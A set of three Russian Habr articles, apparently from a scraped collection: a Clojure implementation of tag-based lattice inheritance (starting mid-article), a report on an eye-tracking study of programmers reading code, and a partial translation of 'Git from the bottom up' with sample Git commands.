Возможно ли всего этого избежать? Стоит попытаться — пусть методы будут привязаны к множеству характерных свойств объекта (тегов), а иерархия наследования выстраивается автоматически по вложенности этих множеств.
Пусть мы разрабатывает иерархию для игровых персонажей. Часть кода будет общая для всех персонажей — она привязана к пустому набору свойств. Код, отвечающий за их отображение будет представлен в виде вариантов для OpenGL и DirectX разных версий. Что-то будет зависеть от расы персонажа, что-то от наличия и вида магических способностей и тп. Теги персонажа первичны. Они перечисляются явно, а не наследуются. А реализация наследуется в зависимости от набора тегов (по вложенности). Таким образом умение стрелять из ПЗРК не окажется у кенгуру, потому что его унаследовали от пехотинца.
Идея такого подхода была предложена Дмитрием Кимом. Автор не стал ее воплощать в код, я попробую исправить это упущение.
Реализация такого подхода на Clojure, как обычно, на [github](https://github.com/potan/grid-inheritance.clj).
Реализация этого метода наследования сделана поверх системы обобщенных функций (мультиметодов) Clojure.
С каждым мультиметодом, определенным с помощью defmulti, связана иерархия и функция диспечеризации, которая отображает аргументы в элементы (или массив элементов) иерархии. Обычно элементами иерархии являются типы данных, но в своих иерархиях можно использовать так же «ключевые слова» и «символы», которыми будут отмечены данные, отнесенные к нужному типу.
Конкретная реализация метода для элемента иерархии задается с помощью defmetod.
Выглядит это так:
```
(use 'inheritance.grid)
(def grid (make-grid-hierarchy))
(defmulti canFly "персонаж может летать" (grid-dispatch1) :hierarchy #'grid)
(defmulti canFireball "персонаж может пускать файрболы" (grid-dispatch1) :hierarchy #'grid)
(defmulti canFire "персонаж может поджечь" (grid-dispatch1) :hierarchy #'grid)
(defmethod canFly (get-grid-node {} #'grid) [p] false)
; поумолчанию персонажи не летают
(defmethod canFly (get-grid-node {:magic :air} #'grid) [p] true)
; владеющие магией воздуха - летают
(defmethod canFly (get-grid-node {:limbs :wings} #'grid) [p] true)
; крылатые летают
(defmethod canFireball (get-grid-node {} #'grid) [p] false)
; поумолчанию персонажи не пускают файрболы
(defmethod canFireball (get-grid-node {:magic :fire, :limbs :hands} #'grid) [p] (> (:mana p) 0))
; владеющие магией огня и имеющие рука - пускают, если есть мана.
(defmethod canFire (get-grid-node {} #'grid) [p] false)
; огнем, поумолчанию, ни кто не владее
(defmethod canFire (get-grid-node {:limbs :hands} #'grid) [p] true)
; рукастые могут развести огонь
(defmethod canFire (get-grid-node {:magic :fire} #'grid) [p] (> (:mana p) 0))
; владея магией руки иметь не обязательно
(defmethod canFire (get-grid-node {:magic :fire, :limbs :hands} #'grid) [p] true)
; магия и руки совместимы - Clojure боится перепутать причину, по которой дано это свойства
(def mage ((with-grid-node {:magic :fire, :limbs :hands :race :mage} #'grid) {:mana 100, :power 5}))
(def barbar ((with-grid-node {:magic :none, :limbs :hands :race :human} #'grid) {:power 500}))
(def phoenix ((with-grid-node {:magic :fire, :limbs :wings :race :mage} #'grid) {:mana 200, :power 4}))
(def elf ((with-grid-node {:magic :air, :limbs :hands :race :elf} #'grid) {:mana 300, :power 13}))
(canFire elf)
; true
(canFireball elf)
; false
(canFly elf)
; true
(canFly mage)
; false
(canFire mage)
; true
```
Как это устроено:
Для начала надо создать иерархию — это будет обычная иерархия Clojure, с таблицей, отображающей набор тегов (в виде ассоциативного массива) в участующий в иерархии символ. Таблица изначально пустая и хранится в метаинформации объекта-иерархии.
```
(defn make-grid-hierarchy "Создание новой решеточной иерархии" []
(let [h (make-hierarchy)]
; это стандартная иерархия
(with-meta h (assoc (or (meta h) {}) :grid-hierarchy-cache {}))))
; но с метаинформацией о решеточной структуре
```
Каждый используемый набор тегов должен быть зарегистрирован в иерархии — для него создан и включен в правильное место иерархии символ, и дабавлена соответствующая запись в таблицу, что бы этот символ можно было найти. Вычисление правильного места в иерархии — основа этого метода управления наследованием.
```
(defn register-grid-node "Регистрация нового узла решетки в иерархии" [h o]
(let [nl (get (meta h) :grid-hierarchy-cache {})]
(if-let [s (nl o)]
; а не зарегистрирован ли он уже
[h s]
; тогда возвращаем старую иерархию и символ узла
(let [s (symbol (str o))
; новый узел - создадим ему символ
hn (reduce (fn [h [tr n]]
; пройдем по существующим узлам
(if (and (subobj? tr o)
; а не надо ли этот узел унаследовать от нашего
(not (isa? h s n)))
; Clojure нервно реагирует на попытку регистрации связи,
; которую сама может вывести
(derive h s n)
(if (and (subobj? o tr) (not (isa? h n s)))
; или наш узел унаследовать от этого
(derive h n s)
h)))
h nl)]
[(with-meta hn
; добавляем метаинформацию о новом узле в обновленную иерархию
(assoc (or (meta h) {})
:grid-hierarchy-cache (assoc nl o s)))
s]))))
; и возвращаем вместе с символом нового узла
```
Теперь надо научиться связать тип из некоторого узла решетки, задаваемый набором тегов, с данными, которые, мы считаем, принадлежат этому типу.
```
(defn with-grid-node "создает функцию, добавляющую метаинформацию об узле к объекту" [n h]
(let [s (get-grid-node n h)]
(fn [v]
(with-meta v (assoc (or (meta v) {}) :grid-node s)))))
```
Что бы избежать повторных поисков по таблице узлов, эта функция получает символ, соответствующий узлу, и возвращает замыкание, добавляющее этот символ в метаинформацию своего аргумента.
Функции диспечеризации получаются простые.
```
(defn grid-dispatch "Создает диспетчер по всем аргументам метода"
[] (fn [& v] (vec (map (fn [a] (:grid-node (meta a))) v))))
(defn grid-dispatch1 "Создает диспетчер по первому аргументу"
[] (fn [v & _] (:grid-node (meta v))))
```
Такое наследование я уже [пробовал реализовать](http://ru-declarative.livejournal.com/4711.html) на Common Lisp. Но устройство MOP я не знаю, и та реализация не встроена в CLOS и не слишком эффективна. | https://habr.com/ru/post/242649/ | null | ru | null |
# Как мы читаем код
В рамках исследований движений глаза Майк Хансен и Эрик Холк [провели](http://synesthesiam.com/?p=218) любопытный эксперимент. Используя айтрекер [Tobii TX300](http://www.tobii.com/en/eye-tracking-research/global/products/hardware/tobii-tx300-eye-tracker/) частотой 300 Гц, они сравнили поведение глаз опытного и начинающей программистов при чтении кода программы Python, вывод которой являлся вопросом поставленной задачи.
В результате съемки данных для «новичка» было получено следующее видео.
Видеозапись «бывалого» (Эрика).
По полученным записям исследовали [сделали](http://blog.theincredibleholk.org/blog/2012/12/18/how-do-we-read-code/) ряд выводов. В частности, было замечено, как взгляд профессионала проворачивает все действия программы. Вначале «бывалый» читает всю программу, и лишь затем начинает процесс её выполнения. Программа состояла из двух вызовов функции `between`, за которыми следует вызов `common`, и большую часть времени «опытный» провел, перебрасывая взгляд между вызовами и определениями функций.
По сути, опытный программист проводил определенного рода компиляцию: вначале проводится осмысление всех функций, затем действие, выполняемое функцией, запоминается, чтобы быстрее получить её выход. Интерпретация первого вызова заняла около 24 секунд, второй был сметен за 10.
Также было замечено, что правильные имена помогают соориентироваться и прокручивать действия в голове быстрее. Читая программу, «бывалый» проассоциировал действие функции с её именем, предварительно убедившись в соответствии эквивалента в голове действию функции. При решении задачи использовался эквивалент, а не сама функция.
В то время, как на скорость выполнения задачи у «опытных» влияют названия, «новички» не демонстрируют значительных различий в продолжительности выполнения при изменении ассоциируемости имен переменных. Хорошо видно, как около 1:30 «новичок» узнала знакомый ей алгоритм, после чего она собирает внимание на нужных числах, не отвлекаясь на проход случайных строчек, доходит до `common` и оставляет лишнюю запятую.
Целью исследования является помощь исследовательскому сообществу психологии и программирования, которому недостает моделей процессов, происходящих в мозге программиста. Майк хочет создать вычислительную познавательную модель программиста, которая будет в состоянии «читать» код так же, как это делал бы живой человек. Такая модель могла бы помочь проводить анализ базы кода, что позволило бы заменить или дополнить такие показатели, как количество строк кода или [цикломатическая сложность](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D0%BA%D0%BB%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C).
Майк Хансен всё ещё [набирает](http://synesthesiam.com/flyer/) для участия в эксперименте добровольцев, владеющих Python и проживающих в Блумингтоне, штат Иллинойс. | https://habr.com/ru/post/163259/ | null | ru | null |
# Git снизу вверх
У этого перевода не совсем обычная история. Системы контроля версий далеки от моих профессиональных интересов. Для рабочих проектов они мне требовались нечасто, причем, разные, так что, каждый раз, когда возникала такая необходимость, я заново вспоминала, как в них делается та или иная операция. А для личных проектов мне хватало возможностей Dropbox, хранящей историю версий файлов.
Изображение из твиттера [@girlie\_mac](https://twitter.com/girlie_mac/status/905270297128865792)
Но вот однажды я на три незабываемых дня попала в роддом — это иногда случается с женщинами. Из развлечений у меня были новорожденная дочь и телефон с большим экраном. Дочь поначалу развлекала плохо (дома она быстро исправилась), а на телефоне помимо книг и фильмов обнаружился текст «Git from the bottom up», который оказался более чем годным… С тех пор прошло почти 3 года, ~~подросшей дочке уже пора самой начинать использовать Git~~ Git стал мейнстримом, если не сказать стандартом в современной разработке, а я с удивлением обнаружила, что перевода на русский этого чуда, полезного не только начинающим, но и продвинутым пользователям Git, до сих пор нет. Исправляю эту ситуацию.
Добро пожаловать в мир Git. Хотя при взгляде снаружи масса возможностей Git и кажется сбивающей с толку, при взгляде снизу вверх Git прекрасен и прост. Я надеюсь, что данный документ поможет вам разобраться с этой могучей системой контроля версий.
И начнем мы со списка терминов, встречающихся в тексте и необходимых для его понимания.
* **Рабочее дерево (Working tree)** — Любая директория в вашей файловой системе, связанная с *репозиторием* (что можно видеть по наличию в ней поддиректории «.git»). Включает в себя все файлы и поддиректории.
* **Коммит (Commit)**. В роли существительного: «моментальный снимок» *рабочего дерева* в какой-то момент времени. В роли глагола: коммитить (закоммитить) — добавлять *коммит* в *репозиторий*.
* **Репозиторий (Repository)** — это набор *коммитов*, т.е. просто архив прошлых состояний *рабочего дерева* проекта на вашей или чьей-то машине.
* **Ветка (Branch)** — просто имя для *коммита*, также называемое *ссылкой* (reference). Определяет происхождение — «родословную» *коммита*, и таким образом, является типичным представлением «ветки разработки»
* **Checkout** — операция переключения между *ветками* или восстановления файлов *рабочего дерева*
* **Метка (Tag)** — также имя для *коммита*, отличающееся от *ветки* тем, что оно всегда постоянно указывает на один и тот же *коммит*, а также может иметь свое текстовое описание
* **Мастер (Master)**. Условно «главная» или «основная» *ветка репозитория*, но по сути ничем не отличающаяся от прочих *веток*
* **Индекс (Index)**. В отличие от других подобных инструментов, Git не передает изменения из *рабочего дерева* в *репозиторий* напрямую. Вместо этого изменения сначала регистрируются в *индексе*, или «области подготовки» (staging area). Это можно рассматривать как способ «подтверждения» ваших изменений перед совершением *коммита*, который запишет в *репозиторий* все одобренные изменения.
* **HEAD** — заголовок. Используется *репозиторием* для определения того, что выбрано с помощью *checkout*
+ Если субъект *checkout* — ветка, то *HEAD* будет ссылаться на нее, показывая, что имя ветки должно быть обновлено во время следующего *коммита*
+ Если субъект *checkout* — коммит, то *HEAD* будет ссылаться только на него. В этом случае *HEAD* называется обособленным (detached)
Взаимодействие с Git обычно выглядит так:
После создания репозитория работа происходит в рабочем дереве. Как только достигается значительная веха — устранение бага; конец рабочего дня; момент, когда, наконец, все начинает компилироваться — вы добавляете свои изменения в индекс. Как только все, что вы собираетесь коммитить, оказывается в индексе, вы записываете его содержимое в репозиторий. На диаграмме ниже — типичный цикл жизни проекта:
Теперь давайте посмотрим, как каждая из показанных на картинке сущностей работает в git
Репозиторий: отслеживание содержимого директории
------------------------------------------------
Как следует из определений выше, то, что делает Git — элементарно: он содержит моментальные снимки содержимого директории. Большую часть его внутреннего дизайна можно понять в терминах этой основной задачи.
Дизайн репозитория Git во многих отношениях воспроизводит файловую систему UNIX. Файловая система начинается с корневой директории, которая обычно состоит из других директорий, множество которых имеет узлы-листья, т.е. файлы, содержащие данные. Метаданные файлов хранятся как в директории (имена), так и в i-узлах, которые ссылются на содержимое этих файлов (размер, тип, разрешения доступа и тп), Каждый i-узел имеет уникальный номер, идентифицирующий содержимое соответствующего файла. Хотя в директории может существовать множество объектов, указывающих на конкретный i-узел (т.е. хард-линки), именно i-узел «владеет» контентом, хранящимся в вашей файловой системе.
Внутренняя архитектура Git имеет поразительно схожую структуру с одним небольшим отличием.
Все начинается с того, что Git представляет содержимое ваших файлов в виде так называемых «фрагментов» («blobs»), которые являются узлами-листьями в структуре, очень похожей на директорию и называемой деревом. Так же как i-узел однозначно идентифицируется присвоенным ему системой номером, фрагмент в Git маркируется путем вычисления SHA-1 хэша от его размера и содержания. Для всех мыслимых применений это всего лишь произвольный номер, как и у i-узла, за исключением двух дополнительных свойств: во-первых, он контролирует неизменность содержимого фрагмента, а во вторых гарантирует, что одно и то же содержимое будет всегда представлено одним и тем же фрагментом независимо от того, где оно будет встречаться — в разных коммитах, репозиториях, или даже в разных частях Интернета. Если несколько деревьев ссылаются на тот же фрагмент, то это похоже на хард-линки: фрагмент не исчезнет из вашего репозитория до тех пор, пока на него существует хотя бы одна ссылка.
Разница между файлом в файловой системе и фрагментом в Git состоит в том, что сам фрагмент не хранит метаданных о его содержимом. Вся эта информация хранится в дереве, к которому принадлежит фрагмент. Одно дерево может считать это содержимое файлом «foo», созданным в августе 2004, в то время как другое дерево может знать то же содержимое под именем файла «bar», созданным на пять лет позже. В нормальной файловой системе такие два файла с совпадающим содержимым, но различающимися метаданными, будут всегда представлены как два независимых файла.
Чем вызвано такое отличие? В основном, тем, что файловая система спроектирована для поддержки изменяющихся файлов, а Git — нет. Именно из-за неизменности данных в репозитории, Git потребовался новый дизайн. И, как оказалось, этот дизайн дал возможность более компактного хранения — ведь все объекты с идентичным содержимым будут общими независимо от их местонахождения.
Знакомимся с фрагментом
-----------------------
Теперь, когда общая картина нарисована, посмотрим на практические примеры. Создадим тестовый репозиторий и покажем, как Git работает в нем с самого низа. (*прим. переводчика — все примеры этого текста проверены на git version 2.13.0.windows.1*)
```
$ mkdir sample; cd sample
$ echo 'Hello, world!' > greeting
```
Здесь я создал новую директорию *sample*, содержащую файл с прозаично предсказуемым содержимым. Пока я даже не создал репозитория, но уже могу начать использовать некоторые команды Git, чтобы понять, что он собирается делать. Для начала я хочу узнать, под каким хэшем Git будет хранить мое приветствие
```
$ git hash-object greeting
af5626b4a114abcb82d63db7c8082c3c4756e51b
```
При запуске этой команды на вашей системе вы получите тот же хэш-идентификатор (*прим. переводчика: далее в тексте — хэш id*). Несмотря на то, что мы создаем два различных репозитория (возможно, в различных частях света), наши фрагменты с приветствиями будут иметь одинаковый хэш id.
Я даже смогу получать коммиты из вашего репозитория в мой, и Git поймет, что мы отслеживаем одно и то же содержимое, и, соответственно, будет хранить только одну его копию.
Следующий шаг — это инициализация нового репозитория и коммит в него:
```
$ git init
$ git add greeting
$ git commit -m "Added my greeting"
```
На этой стадии наш фрагмент должен быть в системе и использовать, как мы и ожидали, определенный выше хэш id. Для удобства Git требует только начальные цифры хэша, однозначно определяющие фрагмент в репозитории. Обычно 6 или 7 цифр для этого достаточно.
```
$ git cat-file -t af5626b
blob
$ git cat-file blob af5626b
Hello, world!
```
Вот оно! Я даже не посмотрел, в каком коммите или в каком дереве это находится, но основываясь исключительно на содержимом, я смог предположить, что оно там есть, и не ошибся. Данное содержимое будет иметь тот же самый идентификатор независимо от времени жизни репозитория или положения файла в нем. То есть, данные гарантированно сохранены навсегда.
Таким образом, фрагмент — это фундаментальная единица данных в Git. На самом деле вся эта система — просто управление фрагментами.
Фрагменты хранятся в деревьях
-----------------------------
Уникальное содержимое ваших файлов хранится во фрагментах, но сами эти фрагменты совершенно безлики. У них нет ни имени, ни структуры, фрагменты — они и есть фрагменты. Поэтому для представления структуры и имен ваших файлов Git прикрепляет фрагменты в качестве узлов — «листьев» к дереву.
Сейчас я не могу узнать, к какому дереву (деревьям) принадлежит фрагмент, так как он может иметь очень много владельцев. Но я знаю, что он точно должен быть где-то в дереве, которым владеет только что созданный мной коммит.
```
$ git ls-tree HEAD
100644 blob af5626b4a114abcb82d63db7c8082c3c4756e51b greeting
```
Т.е этот первый коммит, добавивший мой файл с приветствием в репозиторий, содержит одно дерево с единственным листом: фрагментом с приветствием.
Хотя с помощью команды *ls-tree HEAD* я могу посмотреть на дерево, содержащее мой фрагмент, но я еще не видел базовый объект дерева, на который ссылается данный коммит.
Вот еще несколько команд, чтобы подчеркнуть это различие и исследовать мое дерево:
```
$ git rev-parse HEAD
588483b99a46342501d99e3f10630cfc1219ea32 # отличается на вашей системе
$ git cat-file -t HEAD
commit
$ git cat-file commit HEAD
tree 0563f77d884e4f79ce95117e2d686d7d6e282887
author John Wiegley 1209512110 -0400
committer John Wiegley 1209512110 -0400
Added my greeting
```
Первая команда декодирует заголовок HEAD в коммит, на который он ссылается, вторая проверяет его тип, а третья показывает хэш id дерева, которым владеет коммит, а также другую информацию, хранимую в коммите. Хэш id коммита уникален для моего репозитория, так как он включает мое имя и дату совершения коммита, но хэш id дерева должен быть одинаковым для моего и вашего примеров, так как он содержит один и тот фрагмент под тем же именем.
Убедимся, что это и правда тот же объект:
```
$ git ls-tree 0563f77
100644 blob af5626b4a114abcb82d63db7c8082c3c4756e51b greeting
```
То есть, мой репозиторий содержит единственный коммит, который ссылается на дерево, содержащее фрагмент с тем, что я хочу записать.
Вот еще одна команда, которую я могу использовать для подтверждения этого:
```
$ find .git/objects -type f | sort
.git/objects/05/63f77d884e4f79ce95117e2d686d7d6e282887
.git/objects/58/8483b99a46342501d99e3f10630cfc1219ea32
.git/objects/af/5626b4a114abcb82d63db7c8082c3c4756e51b
```
Отсюда видно, что весь мой репозиторий содержит 3 объекта, хэш id которых мы уже видели в предыдущих примерах. Давайте просто из любопытства бросим последний взгляд на типы этих объектов:
```
$ git cat-file -t 588483b99a46342501d99e3f10630cfc1219ea32
commit
$ git cat-file -t 0563f77d884e4f79ce95117e2d686d7d6e282887
tree
$ git cat-file -t af5626b4a114abcb82d63db7c8082c3c4756e51b
blob
```
Я также мог использовать команду *show* для просмотра краткого содержания каждого из этих объектов, но оставлю это упражнение читателям.
Как образуются деревья?
-----------------------
Каждый коммит содержит единственное дерево. Но как образуются деревья? Мы знаем, что фрагменты создаются при помощи «нарезки» содержимого вашего файла, и что деревья владеют фрагментами, но мы еще не видели, как образуются эти деревья и как деревья связываются со своими родительскими коммитами.
Давайте снова начнем с нового репозитория, но на этот раз сделаем все вручную.
```
$ rm -fr greeting .git
$ echo 'Hello, world!' > greeting
$ git init
$ git add greeting
```
Все начинается с добавления файла в индекс.Пока можно считать, что индекс — это то, что вы используете для первоначального создания фрагментов из файлов. Когда я добавил файл *greeting*, в моем репозитории произошли изменения. Хотя это еще и не коммит, есть способ на них посмотреть:
```
$ git log # не сработает -коммиты отсутствуют!
fatal: bad default revision 'HEAD'
$ git ls-files --stage # покажет фрагменты, на которые ссылается индекс
100644 af5626b4a114abcb82d63db7c8082c3c4756e51b 0 greeting
```
Что это? Коммитов еще нет, а объект уже есть. У него тот же хэш id, с которого я начал все это предприятие, так что я знаю, что он представляет содержимое файла *greeting*. Я мог бы использовать команду *git cat-file -t* для этого хэш id, и увидел бы, что это — фрагмент — тот же самый, который я получил в первый раз, когда создал этот репозиторий (кто бы сомневался).
На этот фрагмент еще не ссылается ни дерево ни коммиты. Пока ссылка на него есть только в файле *.git/index*, содержащем ссылки на фрагменты и деревья, которые собственно и образуют текущий индекс. А теперь давайте создадим в репозитории дерево, на котором и будут висеть фрагменты:
```
$ git write-tree # записать содержимое индекса в дерево
0563f77d884e4f79ce95117e2d686d7d6e282887
```
Знакомое число, не правда ли? Дерево, содержащее одни и те же фрагменты (и под-деревья) будет всегда иметь тот же самый хэш. Хотя у меня до сих пор нет объекта коммита, но зато в этом репозитории есть объект дерево, содержащее фрагменты. Цель низкоуровневой команды *write-tree* — взять содержимое индекса и поместить его в новое дерево для дальнейшего создания коммита.
Новый объект коммита можно создать вручную используя данное дерево напрямую. Именно это и делает команда *commit-tree* — берет хэш id дерева и создает для него объект коммита. Если бы я хотел, чтобы у коммита был родительский объект, я должен был бы указать его явно с использованием ключа -p.
```
$ echo "Initial commit" | git commit-tree 0563f77
5f1bc85745dcccce6121494fdd37658cb4ad441f
```
Заметьте, что полученный хэш id отличается от того, который получится на вашей системе потому, что коммит ссылается на мое имя и время его создания, а эти детали будут всегда отличны от ваших.
Но на этом работа не заканчивается — я еще не зарегистрировал коммит в качестве нового заголовка текущей ветки:
```
$ echo 5f1bc85745dcccce6121494fdd37658cb4ad441f > .git/refs/heads/master
```
Эта команда сообщает Git, что ветка «master» теперь должна ссылаться на данный коммит.
Другой, более безопасный способ достичь той же цели — это использовать команду *update-ref*:
```
$ git update-ref refs/heads/master 5f1bc857
```
После создания ветки *master*, мы должны связать с ней наше дерево. Это обычно происходит когда вы переключаете ветку:
```
$ git symbolic-ref HEAD refs/heads/master
```
Эта команда создает символическую ссылку *HEAD* на ветку *master*. Это очень важно, так как все дальнейшие коммиты из рабочего дерева теперь будут автоматически обновлять значение *refs/heads/master*.
Трудно поверить, что это так просто, но теперь я могу использовать команду *log* для просмотра моего свежесозданного коммита.
```
$ git log
commit 5f1bc85745dcccce6121494fdd37658cb4ad441f
Author: John Wiegley
Date: Mon Apr 14 11:14:58 2008 -0400
Initial commit
```
Замечу, что если бы я не сделал так, чтобы *refs/heads/master* указывал на новый коммит, тот можно было считать недоступным — так как на него никто не ссылается, и он не является родительским объектом другого доступного коммита. В этом случае объект коммита когда-нибудь будет удален из репозитория вместе со своим деревом и всеми фрагментами (это происходит автоматически при помощи команды «gc», которая редко используется пользователями Git вручную). При связывании коммита с именем в *refs/heads*, как мы сделали выше, он становится доступным, что гарантирует его дальнейшее сохранение Git.
Вся прелесть коммитов
---------------------
Некоторые системы контроля версий делают ветки магическими сущностями, часто выделяя их из основной линии разработки, в то время как другие обсуждают концепцию ветвлений так, будто она сильно отличается от коммитов. Но в Git ветки не являются отдельной сущностью — здесь есть исключительно фрагменты, деревья и коммиты ( ну и тэги, но они являются просто ссылками на коммиты, так что их можно игнорировать) Так как у коммита может иметься один и более родителей, и эти комммиты в свою очередь могут принадлежать своим родителям, мы можем рассматривать единичный коммит как ветвление — ведь он знает всю свою «родословную».
Вы можете в любой момент посмотреть все коммиты верхнего уровня используя команду branch
```
$ git branch -v
* master 5f1bc85 Initial commit
```
Повторяйте за мной: Ветка — это просто именованная ссылка на коммит.
Ветки и тэги идентичны за единственным исключением — тэги могут иметь свои собственные описания — подобно коммитам, на которые они ссылаются. Ветки -это просто имена, а тэги — это описания, можно сказать, этикетки.
По правде говоря, у нас нет реальной необходимости использовать эти «сущности- псевдонимы». Например, при желании, я мог бы ссылаться на любой объект репозитория, используя исключительно хэш-id его коммитов.
Вот, например, команда, перезагружающая НЕAD моего рабочего дерева на заданный коммит;
```
$ git reset --hard 5f1bc85
```
Ключ *--hard* вызывает удаление всех текущих изменений моего рабочего дерева независимо от того, были ли они зарегистрированы для будущего помещения в репозиторий (мы еще поговорим об этой команде ниже).
Более безопасный способ перейти к конкретному коммиту — это использовать команду *checkout*:
```
$ git checkout 5f1bc85
```
Разница с предыдущей командой состоит в том, что файлы, измененные в моем рабочем дереве, сохранятся. Если я добавлю к *checkout* ключ -f, то команда подействует так же, как и *reset -hard*, за исключением того, что checkout меняет только рабочее дерево, а *reset* -hard кроме этого еще и изменяет HEAD текущей ветви, чтобы он указывал на заданную версию дерева.
Еще одно достоинство системы, основанной на коммитах, это возможность перефразировать термины даже самых сложных систем контроля версий на простом языке. Например, еcли у коммита несколько родителей, то это — объединенный (merged) коммит. Или, если у коммита несколько потомков, то он представляет собой предка ветки и тп. Но для Git между этими сущностями нет никакой разницы для него мир представляет собой просто набор коммитов, каждый из которых содержит дерево, ссылающееся на другие деревья и фрагменты, хранящие ваши данные. Все, что сложнее этого — просто система условных обозначений.
Вот иллюстрация того, как все это работает:
Коммит под любым другим именем…
-------------------------------
Понимание коммитов — ключ к постижению Git. Вы поймете, что достигли просветления, когда в вашем уме будут содержаться исключительно топологии коммитов, а не мешанина веток, тэгов, локальных и удаленных репозиториев и тп. Надеюсь, что это понимание не потребует от вас отрубать себе руки (как это сделал второй последователь учения Дзен), хотя я бы оценил, если к этому моменту у вас зародилось такое желание.
Если коммиты — ключ, то их названия — дверь к мастерству. Существует огромное множество способов называть коммиты, группы коммитов и даже некоторые объекты, содержащиеся в коммитах, которые поддерживаются большинством команд Git. Вот сводка основных из них:
* **Имя ветки кода (branchname)** — Как было сказано выше, имя любой ветки — просто псевдоним самого недавнего коммита в эту ветку. Это равносильно использованию слова HEAD при выборе данной ветки.
* **Имя тэга (tagname)** — Также, как и имя ветки — это имя коммита. Единственная разница — имя тэга никогда не меняется, в то время как имя ветки изменяется каждый раз при поступлении туда нового коммита.
* **HEAD** — Алиас названия текущего выбранного коммита. Если вы выбираете определенный коммит — вместо имени ветки, то HEAD ссылается исключительно на него, а не на имя ветки. Это — специальный случай, называемый “использование отделенной головы” (я уверен, что тут должна быть какая-нибудь шутка).
* **c82a22c39cbc32…** — К коммиту можно всегда обратиться по его полному, 40-символьному хэш-id Обычно это происходит во время копирования и вставки, т.к. обычно для этого есть другие, более удобные способы.
* **c82a22c** — Вам необходимо использовать только ту часть хэш-id, которая однозначно идентифицирует коммит в репозитории. Обычно для этого достаточно 6-7 цифр.
* **name^** — Для ссылки на родителя любого коммита используется символ ^. В случае, когда у коммита более одного родителя (коммит слияния), берется первый из них. Если вам требуется n-ый родитель, то обратиться к нему можно как name^n
* **name^^** — Родитель родителя данного коммита. Эту последовательность можно продолжить…
* **name~10** — …. но не нужно. Чтобы обратиться к n-предку данного коммита используется ~n (что эквивалентно n символам ^ подряд)
* **name:path** — Для обращения к определенному файлу внутри дерева коммита, укажите имя файла после двоеточия. Это бывает полезно для команды show или для сравнения двух версий файла между коммитами:
```
$ git diff HEAD^1:Makefile HEAD^2:Makefile
```
* **name^{tree}** — Вы можете обратиться не к самому коммиту, а к содержащему его дереву.
* **name1..name2** — Это и последующие наименования относятся к диапазону коммитов и очень полезны в командах типа log для просмотра изменений, сделанных в выбранный промежуток времени.
В данном случае команда адресует все предшествующие коммиты начиная с name2 вплоть до (но не включительно!) name1. Если одно из этих имен будет опущено, то вместо него используется HEAD
* **name1...name2** — Троеточие в диапазоне — совсем не то, что две точки. Для команд типа log оно обозначает все коммиты, на которые ссылаются или name1 или name2, но не оба сразу. Результат — это список уникальных коммитов в обеих ветках.
* **--since=«2 weeks ago»** — Адресует все коммиты, начиная с заданной даты
* **--until=«1 week ago»** — Адресует все коммиты, вплоть до заданной даты
* **--grep=pattern** — Адресует все коммиты, чье сообщение подходит под заданный шаблон регулярного выражения
* **--committer=pattern** — Адресует все коммиты, внесенные в репозиторий человеком, информация о котором подходит под заданный шаблон
* **--author=pattern** — Адресует все коммиты, информация об авторе которых подходит под заданный шаблон. Автор коммита — это создатель изменений, которые коммит представляет. Для локальной разработки это — тот же самый человек, который вносит коммит. Но когда патчи посылаются по почте, автор и человек, реально совершающий коммит обычно отличаются.
* **--no-merges** — Адресует все коммиты с единственным родителем, т.е. игнорирует коммиты слияния
Большинство этих опций могут комбинироваться. Вот пример, показывающий, как получить информацию обо всех изменениях текущей ветки (отпочковавшейся от master), сделанных мной в последний месяц, и содержащих текст «foo».
```
$ git log --grep='foo' --author='johnw' --since="1 month ago" master..
```
Ветвления и сила rebase
-----------------------
Одна из самых действенных команд для работы с коммитами — это команда с непритязательным названием *rebase*. Работает она так: каждая существующая ветка в Git имеет один или более «базовых коммитов» — тех, от которых она и произошла. Давайте для примера посмотрим на следующий типичный сценарий (на рисунке ниже). Здесь стрелки показывают назад во времени так как каждый коммит ссылается на своего родителя (родителей), но не потомков. Следовательно, D и Z являются заголовками своих веток.
В этом можно убедиться при помощи команды
```
$ git branch
Z
* D
```
И в деталях:
```
$ git show-branch
! [Z] Z
* [D] D
--
* [D] D
* [D^] C
* [D~2] B
+ [Z]Z
+ [Z^]Y
+ [Z~2] X
+ [Z~3] W
+* [D~3] A
```
К такому виду обозначений требуется привыкнуть, но, в сущности, это просто описание диаграммы выше. (*прим. переводчика: обратите внимание на пробелы в записи, они имеют значение — делят вывод на колонки*)
И вот что оно нам говорит:
Наша текущая ветка впервые разделилась на коммите A (также известном как коммит
D~3, и даже Z~4 если вам так больше нравится. Для тех, кто пропустил таблицу выше, напомню, что синтакс *commit^* используется для обозначения родителя коммита, а *commit~3* — его предок третьего уровня, т.е. прадедушка.
* Если читать снизу вверх, первая колонка (со знаками +) показывает отпочковавшуюся ветку Z с четырьмя коммитами — W, X, Y и Z.
* Второй столбец (со звездочками) показывает коммиты, сделанные в текущей ветке (и символ \* всегда ее обозначает), а именно три коммита — B, C и D.
* И, наконец, верхняя часть вывода, отделенная от низа разделительной линией, показывает список имеющихся веток, то, в какой колонке находятся их коммиты и каким символом они помечены.
Теперь нам требуется привести рабочую ветку Z в соответствие с основной D. Т.е. включить работу, сделанную в B, C и D в Z. В других системах контроля версий такие вещи делаются исключительно при помощи слияния веток (*branch merge*). В Git возможность слияния тоже есть. Она реализована командой *merge* и применяется когда Z — опубликованная ветвь, и мы не хотим менять ее историю коммитов. Вот необходимые для этого команды:
```
$ git checkout Z # переключаемся в ветку Z
$ git merge D # объединяем B, C и D в Z
```
Теперь репозиторий будет выглядеть так:
Если теперь мы выберем ветку Z, она будет содержать все, что там было ранее, объединенное с содержимым D *(тут переводчик тяжело вздыхает: реальная операция слияния потребовала бы разрешения конфликтов между состояниями D и Z)*.
Хотя новый Z теперь и содержит изменения из D, но он также включает новый коммит Z’, представляющий собой слияние Z и D. Он не добавляет ничего нового, но представляет работу по соединению Z и D. В каком-то смысле это — «мета-коммит» так как его содержимое относится исключительно к измерениям репозитория, а не к новой работе, сделанной в рабочем дереве.
Но в Git есть метод трансплантации Z непосредственно в D, фактически передвижение Z во времени — используя могущественную команду rebase. Вот граф, который мы хотим получить в результате:
